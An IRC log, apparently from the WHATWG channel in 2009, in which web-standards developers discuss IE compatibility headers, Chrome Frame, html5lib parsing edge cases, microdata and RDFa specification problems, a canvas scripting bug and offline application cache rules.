[13:47:01.0000] <Philip`>
http://philip.html5.org/data/ua-compatible-headers.txt too

[13:47:02.0000] <remysharp>
"IE=7" <- this /really/ worries me long term.

[13:48:00.0000] <AryehGregor>
Why?

[13:49:00.0000] <Lachy>
AryehGregor, why what?

[13:49:01.0000] <hsivonen>
the chrome frame trigger is amusing

[13:49:02.0000] <AryehGregor>
[090922 15:55:40] <remysharp> "IE=7" <- this /really/ worries me long term. <-- Why?

[13:49:03.0000] <remysharp>
It's there because "MS want to support those sites who can't change to support IE8" - so instead you stick "IE=7" and in another 5 years, we're stuck with IE7 rendering pages

[13:50:00.0000] <remysharp>
and it's ie6 all over again

[13:50:01.0000] <AryehGregor>
It's Microsoft's problem, surely, not anyone else's.

[13:50:02.0000] <AryehGregor>
The point is to encourage users to upgrade.

[13:50:03.0000] <AryehGregor>
Since they can keep the old way of rendering.

[13:51:00.0000] <AryehGregor>
(for their sites)

[13:51:01.0000] <roc>
hsivonen needs to update his "IE rendering modes chart" now!

[13:51:02.0000] <remysharp>
Sure, but they also happen to be the dominant browser still - and could remain that way

[13:51:03.0000] <gsnedders>
/me remembers this debate before

[13:51:04.0000] <Philip`>
AryehGregor: It discourages authors from updating their sites to work in standards-compliant browsers, and therefore it harms users of standards-compliant browsers

[13:51:05.0000] <remysharp>
so if they say we're focusing on support the shit around the web instead of this fancy new stuff.

[13:51:06.0000] <remysharp>
....

[13:51:07.0000] <Lachy>
haha, which site is using IE=4, and the one beginning "Dear M$..."

[13:51:08.0000] <hsivonen>
roc: yeah. more community service coming up for me

[13:52:00.0000] <roc>
it's just going to get more and more exciting over time

[13:52:01.0000] <AryehGregor>
Philip`, no, it encourages users to upgrade to more standards-compliant browsers (higher versions of IE), and therefore allows authors to update their sites to work in more standards-compliant browsers without special-casing IE everywhere.

[13:53:00.0000] <remysharp>
but that's not a realistic approach.  Users can't upgrade, often those ones stuck, it's not their choice. And then our clients ask us to, rightly, support IE6 because it's a browser with significant dominance. 

[13:53:01.0000] <Lachy>
AryehGregor, it's a questionable technique designed to allow Microsoft to play catch up without causing too much pain for developers now, at the expense of causing themselves pain in the long run

[13:53:02.0000] <remysharp>
anyway, this is an old argument that goes round in circles. 

[13:54:00.0000] <AryehGregor>
Yes, so it's arguably a bad idea on Microsoft's part, but I think for authors it's generally a positive thing.

[13:54:01.0000] <AryehGregor>
I don't know why they'd need it beyond IE8 or so.

[13:54:02.0000] <AryehGregor>
The problem was surely that they painted themselves into a corner with totally broken CSS support in IE6 and IE7.

[13:54:03.0000] <AryehGregor>
(especially IE6)

[13:54:04.0000] <AryehGregor>
Well, CSS and a fairly long list of other things.

[13:55:00.0000] <AryehGregor>
But I think CSS was the biggest problem.

[13:55:01.0000] <gsnedders>
AryehGregor: I'd say that wouldn't have been such a problem if IE6 didn't have such a long release cycle

[13:55:02.0000] <AryehGregor>
Yes, that's true too.

[13:55:03.0000] <AryehGregor>
Although then authors would have to do three times as many hacks to get *all* the versions of IE to work, of course.

[13:56:00.0000] <gsnedders>
Someone from MS (Chris, maybe) said they would've probably fixed more bugs and delayed IE6 if they knew it was going to have such a long release cycle

[13:56:01.0000] <Lachy>
there's a small chance Microsoft could, if they tried hard enough, phase out support for it over the long term, as old sites relying on it now eventually get rebuilt to not rely on it.

[14:00:00.0000] <Philip`>
Lachy: http://www.ecan.govt.nz/Plans+and+Reports/Air/RoadsideMonitoring.htm had IE=4

[14:01:00.0000] <Philip`>
Lachy: http://forum.pcekspert.com/member.php?u=14720 had the letter

[14:01:01.0000] <jgraham>
Lachy: NodeList.querySelectorAll should return the document-ordered union of the results of querySelectorAll applied to each Node in NodeList

[14:02:00.0000] <jgraham>
NodeList.matchAll or whatever should return the elements of the NodeList that match in the original order of the nodelist

[14:03:00.0000] <jgraham>
/me is waiting for the day that hsivonen has to convert his flowchart to a 3D flythrough

[14:11:00.0000] <jgraham>
OK html5lib testcase: <body><frame></frame></frame><frameset><frame><frameset><frame></frameset><noframes></frameset><noframes>

[14:12:00.0000] <jgraham>
There is an explicit <body> tag so in after-head mode we set the frameset-ok flag to not ok

[14:14:00.0000] <jgraham>
Then we switch to in-body and ignore all the <frame></frame> junk

[14:15:00.0000] <jgraham>
Then when we hit the <frameset> tag frameset-ok is still not OK

[14:16:00.0000] <jgraham>
So we ignore the token

[14:16:01.0000] <jgraham>
The first token that is inserted is that corressponding to the noframes element

[14:17:00.0000] <jgraham>
and the final tree should be 

[14:17:01.0000] <jgraham>
<html>

[14:17:02.0000] <jgraham>
  <head>

[14:17:03.0000] <jgraham>
  <body>

[14:17:04.0000] <jgraham>
    <noframes>

[14:17:05.0000] <jgraham>
      "</frameset><noframes>"

[14:17:06.0000] <jgraham>
What did I miss?

[14:18:00.0000] <jgraham>
I think the testcase output is right for the situation where there is no explicit <body> tag because then you rest the frameset-ok flag to OK in after-head mode

[14:18:01.0000] <jgraham>
after inserting the body element

[14:25:00.0000] <TabAtkins>
Hmm, anybody know if it's documented just how IE is *supposed* to react to a conditional comment started in the <head> which contains a </head>?  It looks like it implicitly closes the comment.

[14:26:00.0000] <TabAtkins>
Never mind, I'm probably crazy.

[14:30:00.0000] <TabAtkins>
So, <dt>/<dd> within <figure>/<details> is back to being on the table, since there's a small hack (smaller than document.createElement()) that fixes IE<8 parsing.

[14:31:00.0000] <TabAtkins>
Unfortunately I can't just pass this off to a js file.  I'm actually going to have to carry around a copypasta talisman to put into all of my pages.

[14:31:01.0000] <gsnedders>
fail.

[14:59:00.0000] <mookid>
Hixie: did you just make that up? :P

[15:07:00.0000] <Hixie>
AryehGregor: http://youtube.com/html5

[15:12:00.0000] <cardona507>
chrome frame - oh thank god

[15:23:00.0000] <Philip`>
/me tests librdfa

[15:23:01.0000] <Philip`>
Hmm, it doesn't even seem to support <p XMLNS:EX="..." property="ex:...">

[15:23:02.0000] <Philip`>
That's not very conforming

[15:24:00.0000] <Philip`>
It also seems to abort and return an empty document (instead of an RDF response) with certain inputs like xmlns:0

[15:24:01.0000] <Philip`>
It does something really weird with xmlns:_

[15:25:00.0000] <Philip`>
<p xmlns:ex="" property="ex:http://example.com/test">Test</p> turns into <> <file:////http> "Test" . which is crazy

[15:29:00.0000] <Philip`>
s/RDF/RDF\/XML/

[15:31:00.0000] <sicking>
annevk2: ping

[15:33:00.0000] <Hixie>
Philip`: i believe you're missing the point... all that's necessary is for someone to _claim_ that they support rdfa, that's enough to indicate rdfa is a success

[15:36:00.0000] <sicking>
Hixie: so what's the reason for the itemfor attribute?

[15:36:01.0000] <sicking>
Hixie: that's pretty new, right?

[15:37:00.0000] <Hixie>
sicking: used to be called subject=""

[15:37:01.0000] <sicking>
Hixie: another thing, it would be great with more examples in the microdata section. Right now there's only extremely primitive examples, and huge examples

[15:37:02.0000] <Hixie>
sicking: i'll be adding a bunch once the study's results are in

[15:37:03.0000] <Hixie>
didn't want to change the spec until i got hte results back

[15:37:04.0000] <sicking>
Hixie: i tried to see how to define an item with a sub-item the other day, the only examples of that are huge

[15:38:00.0000] <Hixie>
http://damowmow.com/playground/microdata/001/ has examples and stuff that might help

[15:38:01.0000] <sicking>
Hixie: cool

[15:38:02.0000] <Hixie>
review-annotated.html shows itemfor="" iirc

[15:39:00.0000] <sicking>
Hixie: so what's the use case for itemfor/subject?

[15:39:01.0000] <Hixie>
review-annotated.html shows the use case

[15:40:00.0000] <sicking>
so one fairly big problem with it is that the reference goes in an unexpected direction

[15:40:01.0000] <sicking>
Hixie: which means that in order to extract microdata from anywhere, you need to scan the whole document

[15:42:00.0000] <Hixie>
yes

[15:42:01.0000] <sicking>
why not make the reference go the other way?

[15:42:02.0000] <sicking>
using a <meta> or something

[15:43:00.0000] <sicking>
Hixie: on an unrelated subject. Why does HTMLMediaElement expose the errorcode as an object? Rather than as a integer

[15:44:00.0000] <Philip`>
/me notes that <meta> doesn't actually work in practice today because some browsers move it into <head>

[15:44:01.0000] <Philip`>
(unless that was <link>? or both?)

[15:44:02.0000] <jgraham>
(I think <meta> doesn't work indeed)

[15:44:03.0000] <sicking>
Hixie: forcing you to go through media.error.code, rather than just media.error

[15:44:04.0000] <jgraham>
(I would bring it up as a problem but I feel like I complain too much already)

[15:44:05.0000] <sicking>
Hixie: trying to figure out if we should copy this pattern for FileRequest

[15:45:00.0000] <Hixie>
sicking: yeah we could go the other way... I'll ponder it once the study's results are in next week

[15:45:01.0000] <sicking>
Hixie: cool

[15:45:02.0000] <Hixie>
media.error is intended for future extension, so you can find out exactly what frame the error happened at, etc

[15:45:03.0000] <Hixie>
iirc

[15:47:00.0000] <TabAtkins>
sicking: The nice thing about itemfor's directionality is precisely that the Microdata parent doesn't need to know about its children explicitly, which matches the model when they are DOM children as well.

[15:48:00.0000] <TabAtkins>
It would suck if you had some vocab that could contain an unbounded number of some property, and you could just automagically associate all of the DOM children of the vocab root, but had to explicitly list the ones that weren't children.

[15:48:01.0000] <sicking>
Hixie: ok

[15:49:00.0000] <Hixie>
TabAtkins: we could do it in a way that linked to another node that acted as parent

[15:49:01.0000] <Hixie>
i did actually design a feature to do this, <ref>

[15:49:02.0000] <Hixie>
but i didn't want to add a new element to do it

[15:50:00.0000] <TabAtkins>
Interesting.  Would the real parent refer to the ref, or the ref refer to the real parent?

[15:53:00.0000] <sicking>
Hixie: really? you're complaining that other peoples specs should be split into separate specs? ;-)

[15:54:00.0000] <Hixie>
or chapters

[15:54:01.0000] <Hixie>
and hey, i've split html5 into an ungodly number of specs by now

[15:54:02.0000] <Hixie>
so it's not like i don't have a leg to stand on :-P

[15:54:03.0000] <gsnedders>
You haven't split window out yet ;P

[15:55:00.0000] <Hixie>
that'll never happen

[15:55:01.0000] <gsnedders>
(Yes, yes, yes, I know you want xdoc xref)

[15:55:02.0000] <sicking>
but Window is the one that need it the most

[15:56:00.0000] <Hixie>
splitting Window would take me months

[15:57:00.0000] <sicking>
Hixie: get crackin' ;)

[15:57:01.0000] <Hixie>
not

[15:57:02.0000] <Hixie>
gonna

[15:57:03.0000] <Hixie>
happen

[15:58:00.0000] <sicking>
boooo

[16:01:00.0000] <sicking>
Hixie: i'm implementing your dope XBL2, i think you owe me

[16:01:01.0000] <gsnedders>
sicking: Stop implementing it!

[16:01:02.0000] <sicking>
gsnedders: huh?

[16:01:03.0000] <gsnedders>
sicking: Go on strike!

[16:01:04.0000] <Hixie>
sicking: i owe you big, if you really do implement it!

[16:01:05.0000] <sicking>
gsnedders: hah

[16:01:06.0000] <sicking>
Hixie: sounds like we have a deal

[16:02:00.0000] <sicking>
though i suppose i could choose something more fun

[16:02:01.0000] <sicking>
like multiplex support for websocket

[16:02:02.0000] <sicking>
or some CSS goodness

[16:02:03.0000] <gsnedders>
Window! Window!

[16:06:00.0000] <mpilgrim>
"RDFa: for when interoperability really, really, really doesn't matter." (c.f. http://lists.w3.org/Archives/Public/public-html/2009Sep/0895.html )

[16:07:00.0000] <gsnedders>
/me wonders what he's been missing on public-html this past month

[16:11:00.0000] <Dashiva>
mpilgrim: That's incorrect. Interoperability matters. It will just happen magically by itself.

[16:11:01.0000] <TabAtkins>
Ooh, sicking, I'll be happy if you implement XBL2 too!

[16:12:00.0000] <Dashiva>
Although it seems absurd to define a high-level concept like RDFa using source level concepts

[16:13:00.0000] <Hixie>
sicking: we should do lunch at some point to talk about multiplex in websocket. i'm not convinced either way on that, and everyone i speak to for advice is giving me different answers, ranging from "it's critical" to "it would be actively harmful"

[16:21:00.0000] <mpilgrim>
dashiva: I like how Shane says "I am *convinced* it would render the same prefix mappings"

[16:21:01.0000] <mpilgrim>
despite a complete lack of evidence that that is true

[16:21:02.0000] <mpilgrim>
and in the face of compelling evidence that it is false

[16:21:03.0000] <mpilgrim>
but he *believes*, so maybe that's enough

[16:21:04.0000] <mpilgrim>
actually, that would expain a lot

[16:22:00.0000] <mpilgrim>
"RDFa: the faith-based alternative to interoperability"

[16:22:01.0000] <TabAtkins>
Hehe.

[16:23:00.0000] <Dashiva>
It brings new meaning to "We believe in interoperability"

[16:23:01.0000] <TabAtkins>
Gah, I keep trying to write </endif>

[16:23:02.0000] <TabAtkins>
That's both wrong *and* redundant.

[16:24:00.0000] <sicking>
Hixie: i'm in

[16:24:01.0000] <sicking>
Hixie: after the end of this quarter

[16:25:00.0000] <sicking>
mpilgrim: IMHO the whole discussion shows that XML namespaces is just too complicated

[16:25:01.0000] <sicking>
mpilgrim: things were so much easier when a nodes identity was in its name only

[16:25:02.0000] <Dashiva>
But they don't use namespaces, they just the syntax of namespaces without any of the meaning

[16:25:03.0000] <sicking>
mpilgrim: of course, RDFa just piles on the namespace mess

[16:26:00.0000] <Hixie>
sicking: how's friday next week (10/2)?

[16:28:00.0000] <sicking>
Hixie: could we do thursday? I hope to work from home that friday

[16:28:01.0000] <Hixie>
sure, noon on thursday? meet in b43? or we can eat on castro if you like

[16:28:02.0000] <hober>
mpilgrim: Shane believes all sorts of weird things. http://edward.oconnor.cx/2009/07/web-worldview

[16:29:00.0000] <Hixie>
sicking: la fiesta is good too if you like

[16:31:00.0000] <mpilgrim>
hober: the w3c's primary responsibility hasn't been "moving the web forward" in a *long* time

[16:31:01.0000] <mpilgrim>
if ever

[16:31:02.0000] <mpilgrim>
a gracious interpretation of their mission would be "moving the intranet forward"

[16:31:03.0000] <mpilgrim>
very gracious

[16:32:00.0000] <Hixie>
it's primary _responsibility_ has been "moving the web forward"...

[16:32:01.0000] <sicking>
Hixie: either works. Haven't been to either place in a while

[16:32:02.0000] <Philip`>
The web is hard to move, so it's much easier to just redefine the web to be something that's much easier to move because it doesn't have a billion users sitting on top of it already

[16:32:03.0000] <sicking>
Hixie: might be easier for me to get up there, what with having a car and all

[16:33:00.0000] <Hixie>
sicking: la fiesta is walking distance from my house, so they're both fine for me

[16:33:01.0000] <mpilgrim>
viewing RDFa as a faith-based lifestyle choice resolves all sorts of questions, actually

[16:33:02.0000] <sicking>
Hixie: oh, cool, lets do that then

[16:33:03.0000] <Hixie>
right-o

[16:33:04.0000] <Hixie>
/me calendars himself

[16:33:05.0000] <mpilgrim>
the whole "that's a pathological test case, so my answer would be 'just don't do that'" thing

[16:33:06.0000] <gsnedders>
/me ought to go to northern CA sometime

[16:33:07.0000] <Hixie>
thursday 10/1 noon at la fiesta, meet with sicking about multiplexing

[16:33:08.0000] <mpilgrim>
you're not testing his spec

[16:33:09.0000] <mpilgrim>
you're testing his faith

[16:33:10.0000] <mpilgrim>
and his faith can not be shaken

[16:34:00.0000] <mpilgrim>
a true believer would not write such a test case

[16:35:00.0000] <Philip`>
It seems RDFa proponents are focusing mostly on the important but obvious and thus uninteresting aspects, like whether <!doctype html><p xmlns:ex="..." property="ex:..."> in text/html should work (which it obviously should)

[16:36:00.0000] <Philip`>
while some other people are focusing on the less important but more complex aspects, like precisely defining handling of unobvious edge cases

[16:38:00.0000] <Philip`>
so it's not helpful when proponents keep pointing out that the simple obvious cases work, because obviously they do, and we're interested in the weird crazy things because that's where the spec is broken

[16:39:00.0000] <Philip`>
(and that's where there's little interoperability in current implementations)

[16:40:00.0000] <mpilgrim>
i have to believe there's a bit of "it's hard to get a man to understand something when his paycheck depends on not understanding it" going on here

[16:40:01.0000] <mpilgrim>
(with apologies to upton sinclair, who was talking about something far more important)

[16:41:00.0000] <mpilgrim>
Philip`: yes, but how do you explain their reaction to evidence that there is little interoperability in the implementations they cite?

[16:41:01.0000] <mpilgrim>
their reaction to google's not-really-RDFa implementation was "that's not a validator"

[16:42:00.0000] <Dashiva>
mpilgrim: Also, it only happens in edge cases, they don't matter in the real world 

[16:42:01.0000] <TabAtkins>
I'm just skimming the convos, but that didn't make any sense to me.  Of course it's not a validator.  No one's claiming it is.  They're claiming it's not a *consumer*.

[16:42:02.0000] <Philip`>
In the past there was explicit agreement that RDFa ought to precisely specify the output triples for any input (regardless of validity), so that doesn't seem contentious, so I don't know why there seems to be so much pushback against actually specifying it clearly

[16:42:03.0000] <TabAtkins>
At least, not a consumer that anyone can rely on to consume the RDFa that they put into their pages, following the spec as closely as possible.

[16:43:00.0000] <mpilgrim>
dashiva: right, they haven't yet internalized that the entire world is just a massive collection of edge cases

[16:43:01.0000] <Philip`>
(Google's RDFa thing has even more serious problems, like thinking HTML with <p property=...>...<p property=...> is two nested elements)

[16:43:02.0000] <Dashiva>
Philip`: Well, RDFa works on source level text, what is there to expect?

[16:43:03.0000] <mpilgrim>
like hixie's and hsivonen's explanation to that i18n dude that, for the purposes of the character encoding detection algorithm, the entire web was a legacy environment

[16:43:04.0000] <hober>
Dashiva: and, of course, the real world actually looks like a http://www.bakersedge.com/ pan

[16:44:00.0000] <Philip`>
Dashiva: Only the namespace stuff works on source level text, the HTML+RDFa draft explicitly says that the processing model operates on a tree model

[16:44:01.0000] <mpilgrim>
(on second thought, "that i18n dude" might have been a woman. if so, i apologize)

[16:44:02.0000] <TabAtkins>
...why did that require a flash app with a 5-second loading time.

[16:44:03.0000] <Philip`>
Dashiva: (Don't ask me how those two views are meant to fit together)

[16:45:00.0000] <Dashiva>
Philip`:  How are they meant to fit together?

[16:45:01.0000] <Philip`>
Dashiva: Curses!

[16:45:02.0000] <mpilgrim>
philip`: well, shelleyp did say (many moons ago) that the DOM was not an environment that was terribly important to her

[16:45:03.0000] <Dashiva>
It's an important question, though

[16:45:04.0000] <Philip`>
Dashiva: Now I'll have to intentionally refuse to answer you

[16:45:05.0000] <Dashiva>
Wanting both source text and object model at the same time is kinda schizophrenic

[16:45:06.0000] <mpilgrim>
if you ignore all those crazy DOM consumers, i bet RDFa works just fine

[16:46:00.0000] <mpilgrim>
and the XOM consumers

[16:46:01.0000] <mpilgrim>
and the consumers that use off-the-shelf parsing tools

[16:46:02.0000] <mpilgrim>
and Google

[16:46:03.0000] <hober>
shane and hsivonen's back-and-forth re: defined-in-terms-of-text v. defined-in-terms-of-an-object-model reminded me of Hixie's lunch with the TAG: http://ln.hixie.ch/?start=1180683614&count=1

[16:47:00.0000] <Philip`>
The HTML+RDFa draft seems to still talk about the concrete syntax of namespace attributes, and so it seems to (unintentionally?) say that XMLNS:EX="..." should work in XHTML just the same as in HTML

[16:48:00.0000] <mpilgrim>
lol @ "The HTML working group is supposed to publish something (I suggest the spec)"

[16:48:01.0000] <Philip`>
which seems to be the kind of confusion that results when you talk about things in terms of syntax

[16:49:00.0000] <Philip`>
because you're mixing conceptual levels, trying to talk about the syntax that results in a certain parsed output (in this case lowercased attribute names)

[16:49:01.0000] <Philip`>
or, uh, something like that

[16:49:02.0000] <Philip`>
Please feel free to imagine my points are more coherent

[16:50:00.0000] <Dashiva>
Philip`: They're no less coherent than the spec ;P

[16:51:00.0000] <mpilgrim>
dashiva: you just don't *believe* hard enough

[16:51:01.0000] <Dashiva>
I believe I can parse, I believe I can touch the graph

[16:55:00.0000] <Philip`>
/me notes that RDF itself seems to be clearly and precisely specified, from what he's seen of it

[16:56:00.0000] <Philip`>
like it defines all the conceptual models it uses, and uses them correctly without accidentally mixing levels

[16:57:00.0000] <Philip`>
but RDFa seems much more confusing and seems to leave more things undefined


2009-09-23
[17:02:00.0000] <Philip`>
e.g. RDF does stuff like defining XMLLiteral with "The lexical space is the set of all strings ... for which encoding as UTF-8 yields exclusive Canonical XML" where they didn't even forget to map Canonical XML octet streams on Unicode strings, which is good

[17:02:01.0000] <Philip`>
whereas RDFa says "The value of the [XML literal] is a string created by serializing to text, all nodes that are descendants of the [current element], i.e., not including the element itself, and giving it a datatype of rdf:XMLLiteral."

[17:02:02.0000] <Philip`>
which is firstly using "value" incorrectly

[17:03:00.0000] <Philip`>
(It should be specifying the lexical form, not the value, because there's only a one-way mapping from lexical form to value, not the other way)

[17:03:01.0000] <Philip`>
(and then it sounds like it's "giving it [the value] a datatype" which is wrong because the literal has the datatype, not the value)

[17:04:00.0000] <Philip`>
and then it completely fails to say how you're meant to serialise the nodes

[17:17:00.0000] <drunknbass_work>
i know this isnt js but maybe someone could help me with something :P

[17:18:00.0000] <drunknbass_work>
please explain the proper way to call the function in http://pastie.org/626748

[17:18:01.0000] <drunknbass_work>
inside of the setNeedsDisplay i this.ctx.clearRect(0, 0, this.ctx.width, this.ctx.height);

[17:18:02.0000] <Philip`>
Oh, also the RDFa errata says "For the avoidance of doubt, [that XMLLiteral stuff I quoted earlier] means in part that the current default namespace of each descendant element MUST also be included in the emitted XML literal."

[17:18:03.0000] <drunknbass_work>
which is wrong

[17:18:04.0000] <Philip`>
which does not avoid my doubt

[17:19:00.0000] <drunknbass_work>
do i wrap that inside of a {}?

[17:19:01.0000] <Philip`>
(What if the descendant elements don't use the default namespace at all?)

[17:20:00.0000] <Philip`>
drunknbass_work: What is wrong with that code?

[17:20:01.0000] <drunknbass_work>
Result of expression 'this.ctx.clearRect' [undefined] is not a function.

[17:21:00.0000] <drunknbass_work>
scope issue :/

[17:21:01.0000] <drunknbass_work>
and my js skills are very shitty

[17:22:00.0000] <Philip`>
Sounds like this.ctx might not be a canvas context object

[17:22:01.0000] <Philip`>
Looks like this.ctx is a canvas object, not a canvas context object

[17:23:00.0000] <Philip`>
You probably want to use this.context2D.clearRect instead, and probably want to rename this.ctx to this.canvas

[17:23:01.0000] <drunknbass_work>
it is

[17:24:00.0000] <Philip`>
(clearRect is a 2D function, so you have to call it on the 2D canvas context)

[17:24:01.0000] <drunknbass_work>
oh heh

[17:24:02.0000] <drunknbass_work>
sorry

[17:25:00.0000] <drunknbass_work>
so my code was ok i just had a typo

[17:25:01.0000] <drunknbass_work>
lol

[17:27:00.0000] <Philip`>
Yes, your code was okay except for the part that was not okay :-p

[17:32:00.0000] <drunknbass_work>
yea i got it working

[17:32:01.0000] <drunknbass_work>
hopefully im not wasting my time creating a nice ui framework for canvas

[17:33:00.0000] <drunknbass_work>
that cake looked kinda cool but using it still required a shit load of code

[17:43:00.0000] <othermaciej>
I'm totally confused about the RDFa argument, about specifying in terms of DOM vs in terms of concrete textual syntax

[17:43:01.0000] <othermaciej>
because it seems like RDFa already defines its processing model in terms of DOM traversal

[17:44:00.0000] <othermaciej>
but two of the co-authors of the spec argue that it's actually defined in terms of source text, and that the syntax definition is sufficient for DOM-based implementations

[17:49:00.0000] <Philip`>
othermaciej: You're not alone

[17:50:00.0000] <othermaciej>
Philip`: it even very explicitly says in multiple places that it's defining things in terms of the DOM

[17:50:01.0000] <Hixie>
the whole discussion will become moot when they fix http://www.w3.org/Bugs/Public/show_bug.cgi?id=7670 :-)

[17:51:00.0000] <hober>
Hixie: I wish

[17:56:00.0000] <Philip`>
othermaciej: The RDFa+HTML draft says that, and says RDFa is defined in some abstract tree model

[17:56:01.0000] <Philip`>
but the RDFa spec itself doesn't claim any such thing, if I remember correctly

[17:57:00.0000] <othermaciej>
Philip`: it does say that, look at the intro to section 5

[17:58:00.0000] <othermaciej>
"Processing need not follow the DOM traversal technique outlined here, although the effect of following some other manner of processing must be the same as if the processing outlined here were followed. The processing model is explained using the idea of DOM traversal which makes it easier to describe (particularly in relation to the [evaluation context])."

[17:58:01.0000] <othermaciej>
and then it uses DOM concepts (like document object, child element, etc) all over, and even mentions the DOM explicitly a few more times

[17:58:02.0000] <othermaciej>
http://www.w3.org/TR/rdfa-syntax/#s_model

[18:00:00.0000] <Philip`>
othermaciej: Ah, I just read your email that quoted those bits

[18:00:01.0000] <Philip`>
/me 's memory is clearly not great

[18:00:02.0000] <Philip`>
Unfortunately I often forget that my memory is not great :-(

[20:39:00.0000] <masinter>
/me thinks whatwg is more fun than tagmem

[23:27:00.0000] <heycam>
"I think the frustration level in this thread is rising to the point that we're not going to be able to make good progress if it continues much longer"

[23:27:01.0000] <heycam>
i thought the thread was getting right down to the issue with recent mails

[23:27:02.0000] <heycam>
very concrete

[23:29:00.0000] <othermaciej>
I agree

[23:29:01.0000] <othermaciej>
although I also think Manu's proposed actions are reasonable in light of the direction of the thread

[01:17:00.0000] <annevk2>
sicking, pong...

[01:18:00.0000] <annevk2>
hmm, for some reason my comments on rubys blog still need to be moderated

[01:18:01.0000] <annevk2>
/me wonders what's up with that

[01:28:00.0000] <Lachy>
annevk2, rubys told me recently there was no moderation queue when I asked him why one of my comments never showed up there.

[01:31:00.0000] <annevk2>
weird

[01:31:01.0000] <annevk2>
my comment isn't that important anyway

[01:32:00.0000] <annevk2>
I was just wondering whether he was actually trying to flame HTML5 rather than the technique because it certainly seemed that way

[01:33:00.0000] <Philip`>
Which technique is that?

[01:35:00.0000] <Lachy>
oh no. Why is google chrome adopting the X-UA-Compatible nonsense?!

[01:36:00.0000] <Lachy>
oh, that's for google frame meant for use in IE http://blog.chromium.org/2009/09/introducing-google-chrome-frame.html

[01:36:01.0000] <annevk2>
Philip`, the <meta> hack to enable the Google plug-in

[01:37:00.0000] <Philip`>
annevk2: I thought his point when linking to HTML5 was primarily that Google's example said "equiv" instead of "http-equiv"

[01:37:01.0000] <Philip`>
so I'm not sure how that's interpreted as an attempt at flaming HTML5

[01:39:00.0000] <Philip`>
and then Google incorrected their post again and then corrected again, but of course now thousands of people will blindly copy-and-paste the bogus markup from rubys's blog

[01:41:00.0000] <annevk2>
Philip`, most because of the comment

[01:42:00.0000] <annevk2>
mostly*

[01:43:00.0000] <annevk2>
but I guess I missed something

[01:43:01.0000] <annevk2>
/me -> inbox

[01:45:00.0000] <Lachy>
I don't get how Google intend to get that plugin widely distributed among IE users. I don't understand why any user would choose to install the plugin, rather than switching to a better browser?

[01:47:00.0000] <Philip`>
Lachy: A user can install the plugin and Google's sites will suddenly become faster, without affecting compatibility with the rest of the web, and without requiring the user to switch between two browsers or even comprehend the concept of multiple browsers

[02:34:00.0000] <Micheil>
hmm.. morning all

[02:40:00.0000] <hsivonen>
Lachy: I don't understand the software installation policies at companies that insist on sticking to IE to see how that's supposed to work

[02:41:00.0000] <Micheil>
I don't have a problem with IE, as long as it's the latest version.

[02:42:00.0000] <hsivonen>
surely users who are permitted and willing to install new Web client software have already switched browsers

[02:43:00.0000] <Lachy>
there are many users who don't understand why IE is such a bad choice, and haven't experienced a browser with a better UI

[02:44:00.0000] <hsivonen>
or has Google deemed the IE UI to have such staying power that there are people who are willing to install software but not switch the whole browser?

[02:45:00.0000] <hsivonen>
is there some fundamental psychological difference to installing a plug-in that swaps out app internal and installing an app?

[02:45:01.0000] <Philip`>
There's also some people who actually *like* IE

[02:45:02.0000] <Philip`>
and have used other browsers and switched back to IE

[02:45:03.0000] <hsivonen>
to me, they seem like pretty similar things from corporate IT policy POV

[02:45:04.0000] <Lachy>
there are certainly people who are more comfortable with the IE UI for some reason and have difficulty switching.  It's why there was so much effort put in in the early days of Firefox to create an IE theme for it to make it look as close as possible

[02:45:05.0000] <hsivonen>
/me has no data on teh popularity of the IE theme

[02:47:00.0000] <Lachy>
I don't know how popular it is these days. But when I was involved with SpreadFirefox years ago, there were quite a significant number of peoploe who managed to use it as a way to get users to switch

[02:47:01.0000] <Philip`>
It seems that switching browser (in a company with intranets and stuff) is a short-term compatibility nightmare, whereas installing plugins that switch the internals only a per-site opt-in basis is merely a long-term compatibility nightmare

[02:49:00.0000] <hsivonen>
the IE UI annoys me. particularly because ctrl-L doesn't do what I expect

[02:50:00.0000] <Philip`>
Alt-D works fine for that, I think

[02:50:01.0000] <hsivonen>
Philip`: but Alt-D is wrong and ctrl-L is right :-)

[02:51:00.0000] <Philip`>
but I always use alt-D + Tab to go to the search box, and IE sticks a refresh button in the tab order between those two, so I always start typing my search query into the refresh button

[02:51:01.0000] <Philip`>
s/IE/IE8/

[02:51:02.0000] <Philip`>
(unless it was IE7?)

[02:52:00.0000] <Philip`>
hsivonen: Opera supports both, so I think I just use whichever one is closest to whichever hand is closest to the keyboard

[03:08:00.0000] <annevk2>
the Offline Web Application section is nearly impossible to get through; geez

[03:10:00.0000] <Hixie>
how so?

[03:10:01.0000] <annevk2>
the algorithms are really hard to follow through

[03:13:00.0000] <jgraham>
/me assumes that the only use case for the Google thing is intranets that have IE-only webapps but where they don't want to deal with multiple browsers

[03:13:01.0000] <jgraham>
Because it would be confusing for users if some pages required one browser snd some required a different browser

[03:14:00.0000] <jgraham>
However there was a Gecko plugin that did the same thing many years ago and it never caught on so I don't forsee this being a huge sucess

[03:14:01.0000] <jgraham>
Mind you, Google will likely market it better

[03:14:02.0000] <Hixie>
annevk2: ah, yeah, it's pretty complicated

[03:16:00.0000] <annevk2>
Hixie, so why does fallback take precedence over online whitelist?

[03:16:01.0000] <Hixie>
otherwise fallback would be useless for anything in the online whitelist

[03:17:00.0000] <Hixie>
effectively fallback is the same as online whitelist, just with a fallback instead of falling back to network error

[03:17:01.0000] <Hixie>
iirc

[03:17:02.0000] <annevk2>
Hixie, e.g. consider FALLBACK: / /fallback.html NETWORK: /fetchme

[03:17:03.0000] <Hixie>
the NETWORK: /fetchme bit is pretty redundant in that iirc

[03:17:04.0000] <annevk2>
not if you want to get the network error

[03:18:00.0000] <Hixie>
also since you can wildcard the online whitelist, fallback has to come first

[03:18:01.0000] <annevk2>
afaict in "Changes to the networking model" a fetch is down for /fetchme but when it fails in some way you get /fallback.html instead

[03:18:02.0000] <Hixie>
right

[03:18:03.0000] <Hixie>
if you need to catch that case, just have a specific fallback you look for instead

[03:18:04.0000] <annevk2>
well the wildcard could be special cased

[03:19:00.0000] <Hixie>
FALLBACK: /fetchme /error.txt

[03:19:01.0000] <Hixie>
or just FALLBACK: /fetchme /fetchme?error

[03:19:02.0000] <annevk2>
it would prefer specific fallback over generic ones?

[03:19:03.0000] <Hixie>
it prefers the longest matching namespace iirc

[03:20:00.0000] <annevk2>
doesn't say so in changes to the networking model

[03:20:01.0000] <annevk2>
only talks about "if there's a prefix match"

[03:20:02.0000] <hsivonen>
jgraham: I think it's interesting that the docs don't advertise a setting that'd turn the Chrome Frame on for all of Web zone while keeping the inner zones as IE

[03:20:03.0000] <Hixie>
